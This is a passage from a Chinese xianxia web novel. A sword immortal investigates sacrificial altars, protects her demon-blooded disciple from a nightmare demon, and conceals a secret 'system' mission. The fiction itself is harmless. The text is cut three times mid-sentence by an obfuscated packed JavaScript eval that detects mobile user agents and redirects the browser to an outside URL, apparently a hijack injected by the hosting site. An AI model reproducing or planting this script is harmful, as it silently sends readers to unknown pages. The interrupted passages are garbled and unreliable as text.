若只有她一人,自然不足为惧。可崔扶仙身旁还跟着个幼年期的小魔,便不得不对擅长编织噩梦、引诱堕落的魇魔顾忌一二。 踏入地牢前她放出自己神魂所幻化的望舒,令其飞至崔满肩上站好,又反手给崔满套上层灵力罩,叫小魔在自己身后呆着、不许冒进。 修为不过练气中期,崔满倒极有自知之明,以为师尊是担心自己受伤,因此听话乖觉得很,抬手将小雀抱至手中顺毛,一句话也不曾多说。 不知为何,随师尊踏进地牢的那一刻崔满就察觉自己有些异常,说不出是舒服还是不舒服,只觉得身体里仿佛有什么东西被调动起来,筋脉中灵力运转速度越发地快。 她抱着小雀站在女人侧后方,仅露出只眼睛暗自观察,目光落于牢狱中那团狰狞灰影时骤然与一双猩红的眼睛对视,心头一跳,瞳孔瞬间涣散。 “小满,静心。” 手指传来刺痛,灵力罩被触动,散着霜雪寒意的灵力于她周身流转。 崔满灵台一空,浑身打了个颤,下一刻就清醒过来。 她往崔扶仙身边靠去,低头不敢再多看,呐呐道:“师尊,我没事。” 灵力顺着她的筋脉迅速检查了圈,暂且没发觉异样。 旁边还有个詹光远看着,崔扶仙拍拍小魔的后脑勺当做宽慰,打算回去后再为她仔细查探。 灰雾不住颤动,那只魇魔赫然在无声大笑。 身旁小魔似被吓住、身子仍在发抖,崔扶仙索性半环住她,捂住小魔双眼,蹙眉打量几瞬,侧眸看向进入地牢后就没有开过口的詹光远:“它的舌头呢?” 这一眼毫无情绪,仿佛血液都要被冻僵。 寒意顺着脊骨蔓延向下,詹光远听出她语气中的不善,亦不敢去试孤月仙君的剑刃,连忙解释:“仙君明鉴,它舌头不是我割的,我捉住它时它就成这样了。” 视线停留在城主左侧耳垂处,崔扶仙未曾说信与不信,反将话题扯了回来:“你说人肉祭坛是魔族所为,如今魇魔也看了,你的证据呢?” “证据便是这魇魔!” 詹光远挥袖指向那道在封魔锁下仍挣扎不休的影子,恨恨道:“那日我儿魂灯熄灭,我循着魂灯所指方向匆匆赶去,却终是无力回天。我到的时候献祭已经完成,祭坛毁了大半,满地尸骨残骸,除此之外只剩块泛着魔气的玉佩。” 话罢,他取出块缺了角的墨纹玉佩送至崔扶仙面前:“就是这个。” “我料想或许是始作俑者不慎遗失,这段时间一直派人按照上面残留的气息四处搜寻。皇天不负有心人,昨日终于叫我在一处偏僻洞穴里抓到它!” “魔族对凡人下手会遭天谴,但凡人自杀便追究不到它们头上。魇魔擅造梦蛊惑,定是它蛊惑那些凡人在祭坛上集体自杀!可怜我儿也被这群魔族所害!” 崔扶仙接过玉佩,送入灵力查看,果真见一团魔气自其中冒出:“詹城主讲故事讲得很生动。” “当日你往昆仑送去的求助信里未曾提及这块玉佩,若早有线索,为何隐瞒?” 合体后期威压骤降,詹光远咬牙而退,冷汗顷刻间沾湿里衣:“仙君息怒,我……我当时丧子悲痛,一时疏忽,忘记在信中写明。” “忘了?” 崔扶仙细细咀嚼这二字,威压愈重,视线一直停留在詹光远耳垂处,眸光忽而一凝,已然看清了那边皮肉底下似有东西在蠕动。 背脊上遽然一松,分明在元州称霸一方,现在竟毫无还手之力,仅勉强撑着腿骨站稳。 本就布满疲倦的脸愈发憔悴,詹光远按了按自己的膝盖,眼中极快地划过几丝恼恨,声音苦涩:“……仙君,我只有这一个儿子,出生后更如珠似宝般疼爱。如今我儿遭难,我比谁都痛苦焦急……当真是一时疏忽。” 手下的小魔兀地抬了抬脑袋,崔扶仙分出心神,低眸瞧她,心知今日无法从这满嘴胡话的詹城主处得到有用信息,便随意问:“若当真是魔族所为,你待如何?” 詹光远毫不犹豫,脱口而出:“自然要杀了这魇魔,再去向魔族问责!” 砰! 牢狱中传来声巨响,崔扶仙掀开长睫看去,那魇魔显露出獠牙与断舌,正挣扎着朝他们所在之处无声嘶吼。 吸取之前的教训,她当即以指腹按住小魔太阳穴、为她传入灵力保持清醒,此时已不耐继续听詹光远漏洞百出的屁话。 懒得多费口舌,崔扶仙牵着小魔转身,淡淡扔下句:“留着魇魔的命,事关魔族,我会马上回禀掌门。” “雁来城城主在说谎。” 出了城主府没多久,崔满跟在女人身后,终是按捺不住,伸手牵住师尊宽袖一角:“师尊,此事或许不是魔族所为。” 人小鬼大。 崔扶仙任由她抓着自己的衣袖,驻足侧身而视:“你又有何凭证?” 小魔不曾支支吾吾,反倒认真给出自己的意见:“师尊,前日徒儿上街打探时仔细看过他发布的悬赏令,上边并未写玉佩之事。” “如师尊所说,他在求助信中也没有指明,光凭一句疏忽实在叫人难以相信。而且早不抓到晚不抓到,偏偏在我们来的前一天刚好就抓到了魇魔。” 崔满无意识板起脸:“很奇怪。” 脑子飞快转动,她还欲说些什么,一抬头,舌头又被老鹰叼走了似的陡然僵住,眼睛直直盯着对自己露出浅淡笑意的崔扶仙,呆呆唤了句师尊。 女人素日里甚少露出柔和神色,那双本妩媚极致的凤眸便随之显得不怒自威,叫人不敢轻易靠近与亵渎。如今展颜,细长眼尾微微上挑,眸光潋滟,当真如初雪消融一般动人心魄。 无怪乎昆仑山那群家伙总喜欢拾崽子养着,确实有意思。 选择性忽略自己当初看见小魔头时的杀意,崔扶仙摸了摸小魔脑袋,不动声色地将小魔早上才扎好的马尾尽数揉乱:“你说的我都知道。” “过会儿带你去吃顿好的,今日表现尚可。” 这算是句夸奖,知道师尊并未轻信詹光远的话后崔满松了口气,这会儿也不由得弯起眼睛,大着胆子讨赏,眼巴巴地央求:“师尊,我想吃肉。” 崔扶仙勾唇:“你师尊多的是钱,随便吃。” 小魔做崇拜样,捧场欢呼:“师尊威武!” —————————— “此事可能真与永州那边有关系。” 崔扶仙领小魔在外头好生吃了顿,回到客栈后又以灵力为崔满检查身体。除了神识深处太过隐秘、稍有不慎便会损害崔满魂魄而未曾触碰,其余地方都仔细查探完毕,没有发觉异样。 不过一面,也许是她多心。 等到夜色降临,她留下化身小雀守着崔满,反手布好阵法,随后原路返回、孤身朝城主府疾行而去,途中与贺知雪传讯,将白日城主府中发生的事情尽数告知。 “我闻到了,他身上有蛊虫的味道。” 崔扶仙掩去身形,立于城主府不远处一根树枝上,探究审视着灯火通明的府邸,右手抚按腰间长剑:“味道很新鲜,大概这两天才种下。上午见面时他一张嘴那蛊虫便在他的肉里不停蠕动,应是背后之人为了控制他所种。” 传讯器那边还没出声,她自顾思索:“如果没记错,这味道正是永州轩辕城所独有的九盛蛊,甜腻、微酸微苦。” 对面安静半晌的人忍不住开口:“……孤月,你是饿狠了吗?为什么我感觉你很馋詹城主身上那只蛊?” 这还是人吗?谁家好人能透过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899713|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肉闻出蛊虫味道? 回答贺掌门的是一阵可疑沉默。 片刻后,崔扶仙抿了抿唇角,声音冷硬:“没有,我不饿。” 沉默暴露一切,贺知雪叹了口气,语重心长:“你虽不曾在昆仑拜师,但已是昆仑的一峰之主,也与我等并肩百年。你……罢了,这次发俸禄时我给你多发一份,别告诉其他人。” 修士不畏寒暑、不惧饥饿,估计是馋的。 但再馋也不能馋虫子啊! 崔扶仙无语凝噎:“……多谢?” “客气。” 掌门已将她方才所说全部记下,此时捏着纸张拧眉思量,却听传讯器那头忽而传来道极轻的空气被割裂开来的刺耳声音。 长剑豁然出鞘,崔扶仙眸色凌厉,紧跟那两道黑影飞入城主府,单手关去传讯器。 “城主府有异动。” ——————— 心中总有股不详的预感,崔满抱着小雀坐在床边,四处张望许久,迟疑着跑去挨个儿检查门窗,确认都关紧后才再次爬回床上。 床边悬着颗夜明珠,她缩进被子里,将脸颊贴在小雀暖烘烘的羽毛上,心中暗自想着师尊出门要办的事情。 仿佛感知到她心底不安,平时对她爱搭不理的小雀此时侧着圆溜溜的蓝眼睛斜视她,继而慷慨张开翅膀,安抚似的拍拍她的脸颊,清脆啾啾叫了两声。 真是物似其主。 崔满莫名想起师尊摸自己脑袋的样子,不禁翘起嘴角,以指腹冒犯地揉了揉小雀绵软且毛茸茸的腹部:“望舒,谢谢你,我好多了。” 逆徒。 小雀抖抖羽毛,看在她方才那副害怕样子上没有多加追究,只重新闭上眼睛,无声容忍在肚子上乱摸的爪子——小魔头力道很轻,揉得还挺舒服的。 以为它又要睡觉,崔满动作愈发轻柔,慢慢的竟也生起两分睡意,不知不觉间阖上了双眸。 神魂最深处,一双猩红的眼睛悄然睁开。 这一夜,崔满做了个噩梦。 梦中一遍又一遍重复着没遇到师尊前她挣痛苦生的日子,烂泥与尘土时刻裹满她的全身。不经意间从四周丢来的石子伴随孩童天真无邪的嬉笑声,一同在她额角留下细小疤痕。 割下手腕,以鲜血喂养、延续生命的老妪奋力打翻她端来的破碗,浑浊瞳孔中溢满恐惧,看着她就像在看一个会将自己生吞活剥的怪物。 破碗四分五裂地碎了一地,碗里黑红的鲜血也淌了一地。 崔满无法抑制地颤抖起来,直至那抹雪白裙摆闯入视线。 她还是个孩子,这段时间被崔扶仙严厉管教、悉心照顾,终于过上些舒坦日子,便如雏鸟般逐渐对曾经警惕排斥过的女人放下心房、托付信任。 几乎连滚带爬的,她哭喊着师尊,伸手想要抓住那抹裙角、想求师尊将自己带走,却绝望地发现再如何努力都无济于事。 那片裙角看似离得很近,实则越来越远。 脸上布满泪痕,崔满仰起脑袋,透过模糊的视线看去,站在身前的人很高,叫她怎样都看不清面容。 突然,一道冰冷且古怪的声音自上传下,不断重复着: 攻略,感化,好感,飞升。 师尊是昆仑山瑶光峰峰主,何等高贵,受尽仰慕,无人敢不尊崇。为什么要千里迢迢来到元州、来到那般偏僻的连元州当地小宗门都不屑常去的李家村? 为什么偏偏就……就挑上了她、愿意将她收为亲传? 其实她早就有所猜测,只是日子过得太好,竟险些给忘了。 崔满紧紧攥着手指,思绪杂乱间想起白日所见的那只魇魔。 连师尊都不知道,第一眼对视后那只魇魔便在她脑海中发出声音。 它不屑嘲弄: 你一个魔族,居然认人族为师? 5. 第五章 方才崔扶仙就察觉到了,城主府中虽瞧起来灯火通明,相较白日却过于安静。 詹光远好享乐,府内侍从众多。但这一会儿功夫,竟连一个侍仆守卫都不曾看见。 她反应很快,瞥见黑影的一刹便动了身。奈何黑影进入城主府畅通无阻,她却被府外阵法结界拦住。 眼见那两道影子正朝府邸深处疾行而去,崔扶仙皱了皱眉,指尖灵力乍现,果决持剑朝结界斩下,凌厉剑芒携着合体后期的修为骤然爆发,强行劈开道足以通行的口子。 这一剑声势浩大,巨响之下雁来城中修士有所察觉、纷纷明里暗里投来神识查探,但位居整座城池中心的城主府依旧死寂,只前方闯入的修士回眸看了她一眼。 既然暴露,干脆横行到底。 女人眉目冷凝,再次挥剑。 银白利光划破黑夜,剑气如疾风骇浪般带着尖锐破空声呼啸着冲向黑影,所至之处凭空掀起阵阵刺骨寒霜。 紧接其后的是她迅疾至掠影的身形与一把自上劈来的锋利长剑,磅礴威压轰然镇下,可怖气息翻滚着朝四周扑散,无声警告与驱逐好事者离开此地。 然而那两道分神期黑影并未被她一击击落。 一张骷髅鬼面在他们身后突然显现,空荡荡的眼眶中燃烧着血色火焰,凝成的瞬间便扑向崔扶仙,将近触及时又立刻化作灰雾,噬人沼泽一样吞噬去女人袭来的剑气。 不过仅仅如此,寒霜骤降,灰雾凝滞几许,既而被崔扶仙手中散发暴戾气息的长剑自中央一斩为二,霎时嘶吼着破灭,退潮似的散了个干净。 黑影并未趁机逃跑,反倒停在府邸正中央动用起灵力。他们身上闪烁出白色光芒,赫然是层天阶护身法器。 崔扶仙解决掉骷髅鬼影时两人恰好完成布局,脚下出现传送阵,想在她眼皮底下离开。 可惜,一只巨大的仿佛鸟类爪子的虚影电光火石间横空袭去,锋利的指甲在两人紧缩起的瞳孔下生生撕裂空间、穿透传送阵扼住他们的咽喉,随即如拖死猪般将他们自空间裂缝中拖出。 皮肉被利爪割开,虽不曾触及关键,鲜血依旧如泉涌般向外喷溅。 往上看去,女人左手掩于长袖之下,雪白袖摆染做猩红,指尖隐约有血珠正一滴一滴垂落。 府中亮如白昼,那双眼睛隐约泛出点点冰蓝幽光,妖冶异常。 妖族! 其中一人张了张嘴,尚未发出声音,面容兀然扭曲,滚热鲜血顷刻间将脸颊覆盖。头顶正上方处插入只素白的手,搜魂术摄取着他全部记忆,更无情搅碎他的魂魄。 这两个字永远卡在他的喉中。 片刻后崔扶仙漠然收回双手,随意将两具尸体甩下,以清洁咒简单收拾了番,挥袖撤去方才布下的屏蔽结界,敏锐感知到此处有诡谲之物已被启动。 这二人是死士,神魂深处刻着契约烙印,记忆随灵力侵入自动粉碎。 她仅从中捕获些零碎片段和几张看不清的人脸,还不知有用没用。 足尖点地,崔扶仙拂了拂空中尚未消散的灵力波动,停顿不过两瞬便继续朝府邸深处行去。 越往深处走眉心蹙得愈紧,外边有阵法结界隔绝而未曾第一时间发觉,现在却怎样都忽视不了城主府内浓厚的血气。 最终到达目的地,崔扶仙静立于门口,端详着房中那具被吸干血肉的只能勉强认出生前形状的尸体,视线最终落在地面一摊不起眼的黑灰上。 再次接通传讯器时贺知雪便听她说:“詹光远死了。” 崔扶仙将神识放开、笼罩住城主府,满眼皆是猩红,话音微顿后又添上句:“……不止詹光远,城主府中已无活人,原先地牢里锁着的那只魇魔也消失不见。” 突然发现什么,她飞身踏上屋顶,向下观望后仍觉不够,又凌空飞至高处。 这下终于看清楚了。 寒霜汹涌,崔扶仙并指于虚空中划过,爆发出的灵力瞬间击碎城主府中以人肉尸身为祭品而布下的阵法核心。 黑色焰火在霜雪覆上之际不甘腾起,挣扎几瞬后终被扑灭殆尽。 阵法脉络尽数燃作黑灰,不曾如原先布局所显示般淹没整座府邸。 “孤月,可是有什么发现?” 府外结界被破,血气掩盖不住、正向外弥漫,崔扶仙能听见外边修士的骚动声。 今夜风不大,空气沉闷腥臭。 她垂下长睫,脑海中复原着方才所见的阵法,低声告知掌门:“过会儿我给你传去张阵法图,你查查看之前有无记载。如果没猜错,大概与人肉祭坛上的献祭阵法相关。” “詹光远死于九盛蛊,府中其余人像是死于魔族之手、伤口里有魔气残留,不过我觉得没这么简单。我搜魂了两个闯入城主府的死士,他们的记忆被封锁,看不太清,回头一同传送给你。” 正说着,崔扶仙忽而想起被自己丢在客栈中的崽子,通过小雀的眼睛看了看,小魔头缩成一团背对着小雀,好似睡着了,没什么动静。 但思及那只不知去向的魇魔,她仍有些不放心。 崔扶仙用灵力覆盖冻结住整座城主府,随即收回长剑,向客栈飞去:“他们这次想以城主府为祭坛做阵,被我毁了,估计接下来会平息段时日。” 贺知雪思量一二,肃然道:“好,我已令华儿领队前往元洲,过几天就能与你交接。此事既牵扯到魔族,又疑似与永州相关,恐怕短时间内无法除清,你可以带小徒先回昆仑。” 沈梦华是她座下首徒,出身永州沈氏,由她出面更好些——能暂且迷惑永州那群家伙。 对此毫无异议,崔扶仙本以为在元洲多逗留几日就能抓住人肉祭坛之事的真凶,左右不过邪修或妖魔,届时一剑杀了,提着头颅回昆仑领赏就是。 没料到牵扯进这么多势力,让她感觉有些浪费时间。 女人捏了捏指骨,方才情急之下动用了一次力量,这会儿感觉手指关节处发胀发疼,像是有什么东西在快速向外生长。 前世从未有过这些古怪现象,初至异世时她保留着前世修为,不过刚到元婴初期,以为自己依旧是个人族,因此未曾多加思索就直奔人族修炼圣地。 然而,随着修为不断增长,崔扶仙逐渐发觉异常。 ……她貌似并非人族。 至少没哪个人族会长翅膀、会对虫子那么感兴趣。 思绪转了几转,崔扶仙陡然停住:“通天阁的积分呢?” 难为她还惦记着,掌门无奈停笔:“小孩子的东西早就准备好了,但你可没把祭坛拔干净,只能给你那小徒存五千积分,用完了就叫她自个儿接任务赚去。” 五千就五千,好歹没白干,崔扶仙淡淡应下。 她还欲开口,守在崔满身旁的小雀却闻见不干净的东西,此时凑过脑袋观察背对着它的小魔头,果然见小魔额角不断溢出冷汗、身子却一动不动,明明白白一副被梦魇困住的模样。 崔扶仙眸色一戾,身形顿时于原地消散。 ——————— 脑海中回忆渐止,尖锐声音遽然响起。 是那只魇魔。 意识到自己中了计、被困在梦魇之中,崔满无法抑制地冷下脸,眉目间显出几分她这个年纪的孩子本不该有的阴郁之色。 耳畔讥讽不绝,聒噪得很,吵得她头疼。 “怎么不说话,刚刚不是一直哭着喊师尊吗?” 魇魔形如幽影,嬉笑凑近,故作不解:“你师尊在哪儿呢?还没回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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与无法控制的身体相对,她心底溢满恐慌,只能不停在脑海中默念师尊教给她的清心诀,希望能拖延时间。 清心诀默念到第二遍时,神识也渐渐生出疲倦无力之感。 魇魔的声音仿佛融入她的意识,正一点一点侵蚀着她的理智。 崔满缓缓耷拉下眼皮,手指不住颤抖。 啾啾啾! 清脆啼鸣声骤起,如一道利剑割裂迷雾般将崔满将近沉沦的灵魂自深渊中用力拽回。 “什么东西!” 只差一点,魇魔怨怒抬头,却见只圆滚滚的看不出品种的鸟飞快朝它射来,眼睛里尽是人性化的杀意,后边拖着的尾翼在混沌神魂中带出片片霜花,寒冷气流将崔满拍醒,也将此处阴霾冰封扫空。 魇魔暗骂句死鸟,刚想凝集魔气将这只鸟杀了,冷不防地被一枚自小雀翅膀中扇来的剑气刺入眉心。 那枚剑气刺中后并未停歇,反倒在它魂魄中爆裂,将它刹那间炸了个粉碎。 神魂破灭前它似有所悟,目眦欲裂:“你不是……” 残碎的魂魄被利爪彻底碾为齑粉,魇魔的声音戛然而止。 纵然再过克制,魔气与灵力的碰撞仍旧令崔满神魂深处陷入混乱。 晕厥感沉重,几欲作呕,意识模糊的那一瞬崔满徒劳睁大眼睛,仿佛看见面前多出道极为熟悉的高挑身影。 庞大羽翼将她年幼的魂魄牢牢包裹,为她挡去四周袭来的全部力量冲击。 望舒有这么大吗? 她有些糊涂了,只晓得紧紧蜷缩着躲在这个密封空间中,鼻尖若有若无嗅到股好闻的似曾相识的气息,惶然太久的心便猛地安定下去。 原是想唤声望舒,但唇瓣动了动,小魔无意识地揪住女人衣襟,莫名含着些自己也觉察不出的依恋小声呢喃:“……师尊。” 正以自己的神识力量为她平复神魂中的动荡,崔扶仙闻声低眸看向怀中失去意识的魂魄,将她垂下的脑袋扶正、靠放在自己肩上,又安抚地轻轻拍了拍小魔头的脊背。 “嗯,师尊在。” 6. 第六章 崔满的情况算不得好。 尽管崔扶仙进入她神识深处为她挡下力量冲击,但她毕竟太过年幼、修为又如此低下。崔扶仙察觉前那魇魔毫无顾忌地放开魔气在她神识中折腾,根本没想给她留条活路,不可避免地伤到了她的魂魄。 更重要的是,崔满本源处的魔核隐隐被外来魔气牵动。 人族有内丹,妖族有妖丹,魔族则是魔核。 此三者为力量凝聚之所。 除了人族的内丹是靠自己修行炼化,妖族与魔族都是与生俱来的丹核,得天独厚的同时也显得尤为残忍。 他们更依赖血脉传承,等级森严。一只妖或一只魔的力量上限在他们降生那一刻便被天道定下,没有任何回旋余地。 神识里的动荡暂且抚平,崔扶仙睁开双目,眉心微拧。 外头天色已亮,夜间闹了一遭,此时雁来城中一片哗然。她离开前于城主府外设下结界、打上昆仑山的印记,如今只朝窗户处看了眼,弹指布下道隔音阵,随即敛眉瞧向怀里的孩子。 小魔一直发抖,这段时间才养出来的血色褪了个干净。嘴巴偶尔动两下,一会儿喊望舒一会儿喊师尊,不晓得要说什么。 她魔族血脉未苏醒时崔扶仙还能教她修炼灵气,但现在魔核被牵动,体内力量混杂碰撞,之前修炼进去的灵气反倒成了累赘。 正思索着是否要废掉崔满修为,冷不防又听了句师尊。 小魔头根脉属火,现在仍旧没意识,身上却忽而发起烫,这会儿将脑袋紧紧贴在她脖颈上,似是感觉女人身上凉快舒服。 崔扶仙没推开她,手指动了动,在她周边放出些寒气,果然见小魔皱成一团的眉头舒展开许多。 【不能让她的魔族血脉彻底苏醒。】 消失了一段时间的系统陡然在脑海中发出声音。 崔扶仙垂下眼帘,不动声色地捏了捏指腹:【为何?】 【她的魔核比寻常魔族强悍霸道百倍不止,这具身体太弱小,至少达到元婴修为才能勉强承受,否则就是爆体而亡的下场。】 系统语气里毫无情绪:【她不能死。】 真有意思,一边说她是未来毁天灭地的魔女,一边又说小魔头不能死。 崔扶仙思绪转了转,将小魔软趴趴搭在肩上的脑袋拨正,片刻后沉吟:【但她的魔核已被魇魔魔气牵动、魔族血脉有复苏迹象,灵力入体于她而言更是一种折磨。】 这一次,系统回答得很快:【那就让她维持现在的模样。】 【维持现在的模样,她就无法晋升元婴,更无法苏醒……】 话刚说了半边,女人仿佛骤然反应过来。 系统似乎笑了下:【你别忘了你的任务是什么。】 【她不能晋升、不能苏醒魔核对你而言是件好事才对。】 崔扶仙神色渐淡,垂眸打量缩在怀里的小魔头,被点醒般,眉目间恢复了往日冷情:【你说的不错,是我着相了。】 【不过,你不是说她不能死?如果一直维持着现在的模样,她的寿命终有一日会走到尽头,届时她可是会死的。】 对于这个问题,系统回得很含糊:【现在不能死,不代表以后不能死。】 【好了,你别太自责,这件事怪不得你。他们魔族间的血脉联系诡异得很,谁都想不到只见一面那魇魔就钻了进来。】 一通废话。 崔扶仙轻嗤,理所当然道:【自然怪不得我,是魇魔害她至此,又不是我害的她。】 【魇魔已被我斩杀,也算替她报了仇,她该感激我。】 这死样子还真是一点没变。 系统被噎了下:【……你能这么想最好。】 一时无话,崔扶仙自顾照料昏迷中的小魔,没有再理会它。 然而,系统离开前却突然告知:【为了辅助你完成任务,我在你身上下了道禁制。这件事包括她的魔族身份,你都不能告诉她。】 话罢,脑海中恢复安静,它再次消失得无隐无踪。 那道所谓的禁制早神不知鬼不觉地落在女人身上。 沉默良久,崔扶仙垂着眸,瞳孔中赫然翻滚着一派凶戾杀意。 但不过一刹功夫,女人缓缓掀开长睫,杀意如昙花一现,又被尽数掩去。 当初见到系统的那一瞬她便于自己神识中设下结界,防备着这个所谓的系统窥探她的意念和想法。 整整百年,一刻都不曾撤去。 相较于得道飞升的奖励,崔扶仙同意接下任务的原因更多在于这个灵力充裕、有修炼飞升机会的世界。 完成任务后天道契约能让她白日飞升? 从一开始,她就对此报以九成怀疑。 ———————————— 崔满醒来时已到次日中午。 她身子还是疼,从未有过的疼,刚一动就忍不住倒吸了口凉气,险些将泪花逼出来。 脖子边团着毛球,小魔往下瞥去,视线触及到那只雪白兼蓝的小雀时尚且惨白的脸颊上止不住地显出几分柔软笑意。 她的记忆最后有些模糊,但先前的还没忘。 是望舒冲进神识救了她。 像是发现她有动静,小雀抖抖羽毛,将埋在翅膀里的脑袋伸了出来,水润剔透的蓝眼睛一下子与她对视上。 实在不舒服,遗憾收起摸一摸它的念头,崔满眉眼弯弯地对着它笑:“望舒,谢谢你救了我。” 灵力无法传入小魔头体内,索性崔扶仙这辈子貌似也不是人,便尝试着将修炼出来的灵力通过血脉转化为妖力传输给小魔。 魔气与灵力相互排斥,但两者与妖力倒还算融洽。 折腾了将近一天一夜,好不容易理顺她体内杂乱的力量,勉强给小魔头保留下练气修为,崔扶仙又在她魔核上以妖力添了道元婴期才能突破的封印。 瞧着崔满昏睡,她坐在床边歇息了会儿,刚刚出门处理完城主府那头的事情,顺手给某只喜欢吃肉的小魔头带了饭食。 通过小雀眼睛看见崔满醒来,崔扶仙已至门外,忽然听见这句道谢,不禁扬了下眉梢,却懒得解释。 女人拎着食盒推门而入,扫了眼床上的孩子,猜到她此刻不好受,也没逼着她下床,干脆将盒子搁到床头柜上。 瞄见师尊身影,崔满脸上笑意微敛,强撑着坐了起来,低眉顺眼恭敬道:“师尊,徒儿无能,让师尊忧心了。” 这两天听她喊师尊听得耳朵都要起茧子。 崔扶仙打开食盒取出饭菜,眼皮子都没抬:“知道就好,下次注意。” 又成功噎住一个。 小魔头显然没料到师尊会这么回,脸上乖巧的神情都僵了下。不过反应倒是很快,下一瞬就重新摆好姿态,小声应是。 抬手以灵力取来茶壶,崔扶仙将倒好的茶水递去:“先喝水,喝完了吃饭,过会儿我有事情与你说。” 崔满方接过杯子,闻言后动作一顿:“敢问师尊,是什么事?” 只怕这会儿说了,她连饭都吃不下去。 崔扶仙还有点耐心,重复道:“你先吃饭。” 这是第二遍,崔满哪里是那些看不懂脸色的孩子,当即闭上嘴巴,脑中猜测翻涌,提着心老老实实吃完了这顿很合她口味的丰盛午饭。 终于结束,她轻轻放下筷子,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899715|160075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是忍不住,先女人一步开口试探:“师尊,伤我的是那只魇魔,它从地牢里跑出来了。” “我知道。” 小魔头吃饭有什么好看的,崔扶仙早在矮桌前的蒲团上打起了坐,这会儿收回灵力,重新起身走去床边:“不仅那只魇魔逃出来了,詹光远已死,城主府中已无活人。” 这是真的被惊住,崔满睁大眼睛:“……都死了?” “都死了。” 一时忘记该说什么,小魔将望舒抱紧了些,迟疑询问:“是那个魇魔杀的吗?” 崔扶仙在床边坐下,看了眼被她裹到被子里抱住的小雀,忍了忍,暂时没搭理她这个大逆不道的行为。 “现在还不确定是谁杀的,但与魔族脱不了关系。” 那些尸身上的魔气可不是假的。 虽然她对魔族无感,但趁此机会正好叫崔满日后远离魔族,省得真把魔核激活。 崔扶仙注视着这个年幼的孩子,冷声告诫:“小满,魔族素来狡诈贪婪、嗜杀易怒,惨遭魔族毒手的修士数不胜数。你务必记住,任何时候都要离魔族远些。” 拼命克制脸上神情,崔满扯着嘴角勉强露出抹笑,好奇般小声发问:“师尊,魔族难道都是坏的吗?就没有……” 她问得小心翼翼,女人回得斩钉截铁。 “没有。” 手指蓦然发冷。 崔满低下头,眼睛怔怔盯着怀里什么也不懂的小雀,不晓得怎样张的嘴,终是干涩又听话地应下:“……师尊放心,徒儿记住了。” 曾将她自田野泥潭中拉出来的手再次抚上她的脑袋。 师尊缓和了语气:“我知道,你向来是个听话的孩子。” “还有件事,我不得不告诉你,你先做好心理准备。” 与被魇魔拖入梦魇前一般,崔满抬起眼睛,没有吭声,心底再次渐渐溢出浓厚的不安。 她被师尊好生养了几日,除却黑纹覆盖的半张脸外愈发白净,脸颊两侧有了肉。那双杏仁儿状的眼睛瞧着比之前明亮许多,如今大概猜到了是与自己有关的不好的事情,眼眶里湿漉漉一片。 心硬如崔扶仙都微微避开小魔的视线:“魇魔魔气入体,你魂魄亦有损伤,未来修行时……恐怕不会顺利。” 何止是不顺利,崔满的魔核被魔气引动,体内属于魔族的血脉排斥人族修炼的灵力。能保住之前引入筋脉的灵力已是不容易,继续强行引灵力进入筋脉会让她疼痛难忍。 而照系统那般说,魔族血脉对现在的崔满而言倒更像催命符。 仿佛不曾听得清,小魔脸上显露出茫然之色,整个人僵坐在床上,连小雀啄她的手指都未叫她缓过神。 好半晌,她寻回自己的舌头,顾不上什么师徒尊卑,抓浮木般揪住女人的袖摆,颤声哭着问:“师尊,我、我是不是不能修炼了?” 她比寻常孩子更早熟,听得出不会顺利这四个字的分量。 崔扶仙默然片刻,见她哭得这样厉害,不觉头疼,将之前诈系统的鬼话全丢去了一边:“……我尽力给你寻修炼的法子,只是会比旁人要辛苦许多、慢上许多,你可忍得住?” “忍得住,师尊,我忍得住!” 小魔仍揪着她的衣袖,这会儿泪眼朦胧、直点脑袋,生怕她不信似的。 心下妥协叹了口气,崔扶仙拾起帕子给她擦了擦脸:“过几日你就随我回昆仑,我先教你剑术与符箓、丹药之余,随后再给你找你能用的功法。” 魔族修炼灵力前所未闻,但从前好似出过两个道魔双修的人族。想来应有共通之处,她给崔满寻一寻便是。 好歹师徒一场。 7. 第七章 “见过峰主,峰主安好。” 前来元州与崔扶仙交接的人并未叫她久等,第四日就抵达雁来城。 城主府外有合体期修士布下的阵法结界,他们无力打开,便先行拜见这位瑶光峰峰主,请她出手相助。 领队的是个粉蓝衣裙的年轻姑娘,背后负着双刀,腰间悬着颗不规则玉石,身上修为已至元婴中期,称一句天骄英才毫不为过。 崔扶仙受了他们的礼,没有拖沓,当即领他们去城主府,挥袖撤去自己先前留下的东西:“你们既然到了,我就先回昆仑了。这件事掌门应与你们仔细交代过,牵扯甚多,你们自个儿当心。” 话罢,她从储物戒中取出五枚巴掌大的玉剑:“里头有我的剑气,遇到打不过的就扔这个,先保命再说。” 她虽对修炼之外的事情没太大兴趣,素日里也冷心冷情得厉害,但并非全然不知好歹。 自从来到昆仑,贺知雪等人没有亏待过她。 难得听这位峰主说这么多话,沈梦华有些受宠若惊,双手接过长辈馈赠,温温吞吞的神色一肃,再次低头行礼:“多谢峰主,我等铭记于心。” 她为领队,身后同门自是随她,此刻一同躬身。 